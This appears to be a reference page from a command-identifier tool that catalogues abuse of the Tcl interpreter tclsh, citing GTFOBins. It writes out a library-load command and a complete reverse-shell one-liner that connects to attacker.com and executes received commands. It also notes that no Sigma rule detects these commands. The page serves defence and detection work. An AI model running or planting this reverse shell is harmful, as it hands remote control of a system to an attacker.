Ceplin Command Identifier

Identifier / Programs / Linux and Unix

tclsh

GTFOBins library-load, reverse-shell, shell 1 Sigma rule name it 3 documented commands

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How tclsh is abused

documented by GTFOBins

library-load

reverse-shell

shell

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for tclsh.

3 documented commands

from GTFOBins, each read by the identifier

library-load unprivileged, with sudo, as SUID, with capabilities

tclsh
load /path/to/lib.so x
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reverse-shell unprivileged, with sudo, as SUID

tclsh
set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;
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shell unprivileged, with sudo, as SUID

None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for tclsh. The identifier reads the line of each that runs tclsh.

What detects it

Sigma process creation rules